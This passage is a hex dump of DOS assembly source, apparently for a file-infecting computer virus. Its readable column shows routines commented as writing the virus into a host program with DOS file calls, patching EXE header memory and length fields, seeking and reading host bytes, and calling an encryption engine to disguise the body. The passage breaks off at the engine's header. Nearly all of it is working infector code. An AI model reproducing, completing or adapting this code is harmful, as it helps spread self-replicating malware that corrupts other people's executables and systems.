|000044a0| 27 4e 45 27 2c 20 27 48 | 54 27 2c 20 27 54 42 27 |'NE', 'H|T', 'TB'|
|000044b0| 2c 20 27 56 49 27 0d 0a | 20 20 20 20 20 20 20 20 |, 'VI'..|        |
|000044c0| 20 20 20 20 20 20 20 20 | 64 62 20 20 20 20 20 20 |        |db      |
|000044d0| 27 46 49 27 2c 20 27 47 | 49 27 2c 20 27 52 41 27 |'FI', 'G|I', 'RA'|
|000044e0| 2c 20 27 46 45 27 2c 20 | 27 4d 54 27 2c 20 27 42 |, 'FE', |'MT', 'B|
|000044f0| 52 27 2c 20 27 49 4d 27 | 2c 20 27 20 20 27 0d 0a |R', 'IM'|, '  '..|
|00004500| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004510| 64 62 20 20 20 20 20 20 | 27 20 20 27 2c 20 27 20 |db      |'  ', ' |
|00004520| 20 27 2c 20 27 20 20 27 | 0d 0a 0d 0a 0d 0a 3b 2a | ', '  '|......;*|
|00004530| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004540| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004550| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004560| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004570| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 0d 0a 3b |********|*****..;|
|00004580| 2a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 57 |*       |       W|
|00004590| 72 69 74 65 20 76 69 72 | 75 73 20 74 6f 20 74 68 |rite vir|us to th|
|000045a0| 65 20 70 72 6f 67 72 61 | 6d 0d 0a 3b 2a 2a 2a 2a |e progra|m..;****|
|000045b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000045c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000045d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000045e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000045f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 0d 0a 0d 0a 77 72 |********|**....wr|
|00004600| 69 74 65 70 72 6f 67 3a | 20 20 20 20 20 20 70 75 |iteprog:|      pu|
|00004610| 73 68 20 20 20 20 61 78 | 20 20 20 20 20 20 20 20 |sh    ax|        |
|00004620| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 73 |        |      ;s|
|00004630| 61 76 65 20 72 65 67 69 | 73 74 65 72 73 0d 0a 20 |ave regi|sters.. |
|00004640| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00004650| 75 73 68 20 20 20 20 64 | 78 0d 0a 20 20 20 20 20 |ush    d|x..     |
|00004660| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |        |   push |
|00004670| 20 20 20 73 69 0d 0a 20 | 20 20 20 20 20 20 20 20 |   si.. |        |
|00004680| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 62 |       p|ush    b|
|00004690| 70 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p..     |        |
|000046a0| 20 20 20 70 75 73 68 20 | 20 20 20 65 73 0d 0a 0d |   push |   es...|
|000046b0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000046c0| 20 63 6c 69 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | cli..  |        |
|000046d0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 77 6f |      mo|v     wo|
|000046e0| 72 64 20 70 74 72 20 5b | 64 69 2d 34 5d 2c 73 73 |rd ptr [|di-4],ss|
|000046f0| 20 20 20 20 20 20 3b 73 | 61 76 65 20 53 53 20 26 |      ;s|ave SS &|
|00004700| 20 53 50 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | SP..   |        |
|00004710| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 77 6f 72 |     mov|     wor|
|00004720| 64 20 70 74 72 20 5b 64 | 69 2d 32 5d 2c 73 70 0d |d ptr [d|i-2],sp.|
|00004730| 0a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |...     |        |
|00004740| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 63 73 |   mov  |   ax,cs|
|00004750| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004760| 20 20 20 3b 6e 65 77 20 | 73 74 61 63 6b 20 26 20 |   ;new |stack & |
|00004770| 62 75 66 66 65 72 2d 73 | 65 67 6d 65 6e 74 0d 0a |buffer-s|egment..|
|00004780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004790| 6d 6f 76 20 20 20 20 20 | 73 73 2c 61 78 0d 0a 20 |mov     |ss,ax.. |
|000047a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|000047b0| 6f 76 20 20 20 20 20 73 | 70 2c 28 28 56 49 52 50 |ov     s|p,((VIRP|
|000047c0| 41 52 20 2b 20 57 4f 52 | 4b 50 41 52 29 20 2a 20 |AR + WOR|KPAR) * |
|000047d0| 31 30 29 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |10)..   |        |
|000047e0| 20 20 20 20 20 61 64 64 | 20 20 20 20 20 61 78 2c |     add|     ax,|
|000047f0| 6c 6f 77 20 56 49 52 50 | 41 52 0d 0a 20 20 20 20 |low VIRP|AR..    |
|00004800| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00004810| 20 20 20 20 65 73 2c 61 | 78 0d 0a 20 20 20 20 20 |    es,a|x..     |
|00004820| 20 20 20 20 20 20 20 20 | 20 20 20 73 74 69 0d 0a |        |   sti..|
|00004830| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00004840| 20 20 70 75 73 68 20 20 | 20 20 64 73 0d 0a 0d 0a |  push  |  ds....|
|00004850| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004860| 6d 6f 76 20 20 20 20 20 | 62 70 2c 64 78 20 20 20 |mov     |bp,dx   |
|00004870| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004880| 3b 69 6e 70 75 74 20 70 | 61 72 61 6d 65 74 65 72 |;input p|arameter|
|00004890| 73 20 66 6f 72 20 65 6e | 67 69 6e 65 0d 0a 20 20 |s for en|gine..  |
|000048a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|000048b0| 76 20 20 20 20 20 64 78 | 2c 30 31 30 30 0d 0a 20 |v     dx|,0100.. |
|000048c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|000048d0| 6f 76 20 20 20 20 20 63 | 78 2c 46 49 4c 45 4c 45 |ov     c|x,FILELE|
|000048e0| 4e 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |N..     |        |
|000048f0| 20 20 20 78 6f 72 20 20 | 20 20 20 73 69 2c 73 69 |   xor  |   si,si|
|00004900| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00004910| 20 20 6d 6f 76 20 20 20 | 20 20 61 6c 2c 30 46 68 |  mov   |  al,0Fh|
|00004920| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|00004930| 20 20 20 20 70 75 73 68 | 20 20 20 20 64 69 0d 0a |    push|    di..|
|00004940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004950| 70 75 73 68 20 20 20 20 | 62 78 0d 0a 0d 0a 20 20 |push    |bx....  |
|00004960| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|00004970| 6c 6c 20 20 20 20 63 72 | 79 70 74 20 20 20 20 20 |ll    cr|ypt     |
|00004980| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 63 |        |      ;c|
|00004990| 61 6c 6c 20 74 68 65 20 | 45 6e 67 69 6e 65 0d 0a |all the |Engine..|
|000049a0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000049b0| 20 20 70 6f 70 20 20 20 | 20 20 62 78 0d 0a 20 20 |  pop   |  bx..  |
|000049c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f |        |      po|
|000049d0| 70 20 20 20 20 20 64 69 | 0d 0a 0d 0a 20 20 20 20 |p     di|....    |
|000049e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 75 73 68 |        |    push|
|000049f0| 20 20 20 20 63 78 0d 0a | 20 20 20 20 20 20 20 20 |    cx..|        |
|00004a00| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 |        |push    |
|00004a10| 64 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |dx..    |        |
|00004a20| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 34 |    mov |    ax,4|
|00004a30| 32 30 32 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |202     |        |
|00004a40| 20 20 20 20 3b 67 6f 74 | 6f 20 65 6e 64 0d 0a 20 |    ;got|o end.. |
|00004a50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 78 |        |       x|
|00004a60| 6f 72 20 20 20 20 20 63 | 78 2c 63 78 0d 0a 20 20 |or     c|x,cx..  |
|00004a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 77 |        |      cw|
|00004a80| 64 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d..     |        |
|00004a90| 20 20 20 69 6e 74 20 20 | 20 20 20 32 31 0d 0a 20 |   int  |   21.. |
|00004aa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00004ab0| 6f 70 20 20 20 20 20 64 | 78 0d 0a 20 20 20 20 20 |op     d|x..     |
|00004ac0| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |        |   pop  |
|00004ad0| 20 20 20 63 78 0d 0a 0d | 0a 20 20 20 20 20 20 20 |   cx...|.       |
|00004ae0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00004af0| 20 61 68 2c 34 30 20 20 | 20 20 20 20 20 20 20 20 | ah,40  |        |
|00004b00| 20 20 20 20 20 20 20 20 | 20 3b 77 72 69 74 65 20 |        | ;write |
|00004b10| 76 69 72 75 73 0d 0a 20 | 20 20 20 20 20 20 20 20 |virus.. |        |
|00004b20| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 |       i|nt     2|
|00004b30| 31 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1..     |        |
|00004b40| 20 20 20 63 6d 70 20 20 | 20 20 20 61 78 2c 63 78 |   cmp  |   ax,cx|
|00004b50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004b60| 20 20 20 3b 61 72 65 20 | 61 6c 6c 20 62 79 74 65 |   ;are |all byte|
|00004b70| 73 20 77 72 69 74 74 65 | 6e 3f 0d 0a 0d 0a 20 20 |s writte|n?....  |
|00004b80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f |        |      po|
|00004b90| 70 20 20 20 20 20 64 73 | 0d 0a 0d 0a 20 20 20 20 |p     ds|....    |
|00004ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6c 69 0d |        |    cli.|
|00004bb0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00004bc0| 20 6d 6f 76 20 20 20 20 | 20 73 73 2c 77 6f 72 64 | mov    | ss,word|
|00004bd0| 20 70 74 72 20 5b 64 69 | 2d 34 5d 20 20 20 20 20 | ptr [di|-4]     |
|00004be0| 20 3b 72 65 73 74 6f 72 | 65 20 73 74 61 63 6b 0d | ;restor|e stack.|
|00004bf0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00004c00| 20 6d 6f 76 20 20 20 20 | 20 73 70 2c 77 6f 72 64 | mov    | sp,word|
|00004c10| 20 70 74 72 20 5b 64 69 | 2d 32 5d 0d 0a 20 20 20 | ptr [di|-2]..   |
|00004c20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 73 74 69 |        |     sti|
|00004c30| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |....    |        |
|00004c40| 20 20 20 20 70 6f 70 20 | 20 20 20 20 65 73 20 20 |    pop |    es  |
|00004c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004c60| 20 20 20 20 3b 72 65 73 | 74 6f 72 65 20 72 65 67 |    ;res|tore reg|
|00004c70| 69 73 74 65 72 73 0d 0a | 20 20 20 20 20 20 20 20 |isters..|        |
|00004c80| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 |        |pop     |
|00004c90| 62 70 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |bp..    |        |
|00004ca0| 20 20 20 20 70 6f 70 20 | 20 20 20 20 73 69 0d 0a |    pop |    si..|
|00004cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004cc0| 70 6f 70 20 20 20 20 20 | 64 78 0d 0a 20 20 20 20 |pop     |dx..    |
|00004cd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |        |    pop |
|00004ce0| 20 20 20 20 61 78 0d 0a | 0d 0a 20 20 20 20 20 20 |    ax..|..      |
|00004cf0| 20 20 20 20 20 20 20 20 | 20 20 72 65 74 0d 0a 0d |        |  ret...|
|00004d00| 0a 0d 0a 3b 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |...;****|********|
|00004d10| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004d20| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004d30| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004d40| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004d50| 2a 2a 0d 0a 3b 2a 20 20 | 20 20 20 20 20 20 20 20 |**..;*  |        |
|00004d60| 20 20 20 20 41 64 6a 75 | 73 74 20 6d 65 6d 20 61 |    Adju|st mem a|
|00004d70| 6c 6c 6f 63 61 74 69 6f | 6e 20 69 6e 66 6f 20 69 |llocatio|n info i|
|00004d80| 6e 20 45 58 45 20 68 65 | 61 64 65 72 0d 0a 3b 2a |n EXE he|ader..;*|
|00004d90| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004da0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004db0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004dc0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004dd0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 0d 0a 0d |********|*****...|
|00004de0| 0a 6d 65 6d 5f 61 64 6a | 75 73 74 3a 20 20 20 20 |.mem_adj|ust:    |
|00004df0| 20 6d 6f 76 20 20 20 20 | 20 61 78 2c 5b 64 69 5d | mov    | ax,[di]|
|00004e00| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00004e10| 20 20 73 75 62 20 20 20 | 20 20 61 78 2c 6c 6f 77 |  sub   |  ax,low|
|00004e20| 20 46 49 4c 45 50 41 52 | 20 20 20 20 20 20 20 20 | FILEPAR|        |
|00004e30| 20 20 3b 61 6c 6c 6f 63 | 2e 20 6d 61 79 20 62 65 |  ;alloc|. may be|
|00004e40| 20 74 68 69 73 20 6d 75 | 63 68 20 6c 65 73 73 0d | this mu|ch less.|
|00004e50| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00004e60| 20 6a 62 20 20 20 20 20 | 20 6d 6f 72 65 0d 0a 20 | jb     | more.. |
|00004e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 |        |       c|
|00004e80| 6d 70 20 20 20 20 20 61 | 78 2c 44 41 54 41 50 41 |mp     a|x,DATAPA|
|00004e90| 52 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |R       |       ;|
|00004ea0| 6d 69 6e 69 6d 75 6d 20 | 61 6d 6f 75 6e 74 20 74 |minimum |amount t|
|00004eb0| 6f 20 61 6c 6c 6f 63 61 | 74 65 0d 0a 20 20 20 20 |o alloca|te..    |
|00004ec0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 61 65 20 |        |    jae |
|00004ed0| 20 20 20 20 6d 65 6d 5f | 6f 6b 0d 0a 6d 6f 72 65 |    mem_|ok..more|
|00004ee0| 3a 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |:       |    mov |
|00004ef0| 20 20 20 20 61 78 2c 44 | 41 54 41 50 41 52 0d 0a |    ax,D|ATAPAR..|
|00004f00| 6d 65 6d 5f 6f 6b 3a 20 | 20 20 20 20 20 20 20 20 |mem_ok: |        |
|00004f10| 6d 6f 76 20 20 20 20 20 | 5b 64 69 5d 2c 61 78 0d |mov     |[di],ax.|
|00004f20| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00004f30| 20 72 65 74 0d 0a 0d 0a | 0d 0a 3b 2a 2a 2a 2a 2a | ret....|..;*****|
|00004f40| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004f50| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004f60| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004f70| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004f80| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 0d 0a 3b 2a 20 20 20 |********|*..;*   |
|00004f90| 20 20 20 20 20 20 20 20 | 20 20 20 52 65 61 64 20 |        |   Read |
|00004fa0| 61 20 66 65 77 20 62 79 | 74 65 73 0d 0a 3b 2a 2a |a few by|tes..;**|
|00004fb0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004fc0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004fd0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004fe0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004ff0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 0d 0a 0d 0a |********|****....|
|00005000| 72 65 61 64 62 79 74 65 | 73 3a 20 20 20 20 20 20 |readbyte|s:      |
|00005010| 63 61 6c 6c 20 20 20 20 | 67 6f 74 6f 0d 0a 20 20 |call    |goto..  |
|00005020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|00005030| 76 20 20 20 20 20 64 78 | 2c 6f 66 66 73 65 74 20 |v     dx|,offset |
|00005040| 6d 69 6e 69 62 75 66 0d | 0a 20 20 20 20 20 20 20 |minibuf.|.       |
|00005050| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00005060| 20 63 78 2c 34 0d 0a 72 | 65 61 64 3a 20 20 20 20 | cx,4..r|ead:    |
|00005070| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 |       m|ov     a|
|00005080| 68 2c 33 46 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |h,3F..  |        |
|00005090| 20 20 20 20 20 20 69 6e | 74 20 20 20 20 20 32 31 |      in|t     21|
|000050a0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000050b0| 20 20 72 65 74 0d 0a 0d | 0a 0d 0a 3b 2a 2a 2a 2a |  ret...|...;****|
|000050c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000050d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000050e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000050f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005100| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 0d 0a 3b 2a 20 20 |********|**..;*  |
|00005110| 20 20 20 20 20 20 20 20 | 20 20 20 20 43 61 6c 63 |        |    Calc|
|00005120| 75 6c 61 74 65 20 6c 65 | 6e 67 74 68 20 66 6f 72 |ulate le|ngth for|
|00005130| 20 45 58 45 20 68 65 61 | 64 65 72 0d 0a 3b 2a 2a | EXE hea|der..;**|
|00005140| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005150| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005160| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005170| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005180| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 0d 0a 0d 0a |********|****....|
|00005190| 63 61 6c 63 6c 65 6e 3a | 20 20 20 20 20 20 20 20 |calclen:|        |
|000051a0| 6d 6f 76 20 20 20 20 20 | 63 78 2c 30 32 30 30 0d |mov     |cx,0200.|
|000051b0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000051c0| 20 64 69 76 20 20 20 20 | 20 63 78 0d 0a 20 20 20 | div    | cx..   |
|000051d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6f 72 20 |        |     or |
|000051e0| 20 20 20 20 20 64 78 2c | 64 78 0d 0a 20 20 20 20 |     dx,|dx..    |
|000051f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 7a 20 20 |        |    jz  |
|00005200| 20 20 20 20 6e 6f 5f 63 | 6f 72 0d 0a 20 20 20 20 |    no_c|or..    |
|00005210| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 63 20 |        |    inc |
|00005220| 20 20 20 20 61 78 0d 0a | 6e 6f 5f 63 6f 72 3a 20 |    ax..|no_cor: |
|00005230| 20 20 20 20 20 20 20 20 | 72 65 74 0d 0a 0d 0a 0d |        |ret.....|
|00005240| 0a 3b 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |.;******|********|
|00005250| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005260| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005270| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005280| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005290| 0d 0a 3b 2a 20 20 20 20 | 20 20 20 20 20 20 20 20 |..;*    |        |
|000052a0| 20 20 47 65 74 20 6f 72 | 69 67 69 6e 61 6c 20 6c |  Get or|iginal l|
|000052b0| 65 6e 67 74 68 20 6f 66 | 20 70 72 6f 67 72 61 6d |ength of| program|
|000052c0| 0d 0a 3b 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |..;*****|********|
|000052d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000052e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000052f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005300| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005310| 2a 0d 0a 0d 0a 67 65 74 | 6c 65 6e 3a 20 20 20 20 |*....get|len:    |
|00005320| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c |     mov|     ax,|
|00005330| 5b 64 69 5d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |[di]..  |        |
|00005340| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 78 |      mo|v     dx|
|00005350| 2c 5b 64 69 2b 32 5d 0d | 0a 20 20 20 20 20 20 20 |,[di+2].|.       |
|00005360| 20 20 20 20 20 20 20 20 | 20 72 65 74 0d 0a 0d 0a |        | ret....|
|00005370| 0d 0a 3b 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |..;*****|********|
|00005380| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005390| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000053a0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000053b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000053c0| 2a 0d 0a 3b 2a 20 20 20 | 20 20 20 20 20 20 20 20 |*..;*   |        |
|000053d0| 20 20 20 47 6f 74 6f 20 | 6e 65 77 20 6f 66 66 73 |   Goto |new offs|
|000053e0| 65 74 20 44 58 3a 41 58 | 0d 0a 3b 2a 2a 2a 2a 2a |et DX:AX|..;*****|
|000053f0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005400| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005410| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005420| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005430| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 0d 0a 0d 0a 67 6f 74 |********|*....got|
|00005440| 6f 62 65 67 69 6e 3a 20 | 20 20 20 20 20 78 6f 72 |obegin: |     xor|
|00005450| 20 20 20 20 20 61 78 2c | 61 78 0d 0a 20 20 20 20 |     ax,|ax..    |
|00005460| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 77 64 0d |        |    cwd.|
|00005470| 0a 67 6f 74 6f 3a 20 20 | 20 20 20 20 20 20 20 20 |.goto:  |        |
|00005480| 20 78 63 68 67 20 20 20 | 20 63 78 2c 64 78 0d 0a | xchg   | cx,dx..|
|00005490| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000054a0| 78 63 68 67 20 20 20 20 | 61 78 2c 64 78 0d 0a 20 |xchg    |ax,dx.. |
|000054b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|000054c0| 6f 76 20 20 20 20 20 61 | 78 2c 34 32 30 30 0d 0a |ov     a|x,4200..|
|000054d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000054e0| 69 6e 74 20 20 20 20 20 | 32 31 0d 0a 20 20 20 20 |int     |21..    |
|000054f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 72 65 74 0d |        |    ret.|
|00005500| 0a 0d 0a 0d 0a 3b 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |.....;**|********|
|00005510| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005520| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005530| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005540| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00005550| 2a 2a 0d 0a 3b 2a 0d 0a | 3b 2a 20 20 20 20 20 20 |**..;*..|;*      |
|00005560| 20 20 20 20 20 20 20 20 | 45 6e 63 72 79 70 74 69 |        |Encrypti|
|00005570| 6f 6e 20 45 6e 67 69 6e | 65 0d 0a 3b 2a 0d 0a 3b |on Engin|e..;*..;|
|00005580| 2a 0d 0a 3b 2a 20 20 20 | 20 20 20 49 6e 70 75 74 |*..;*   |   Input|
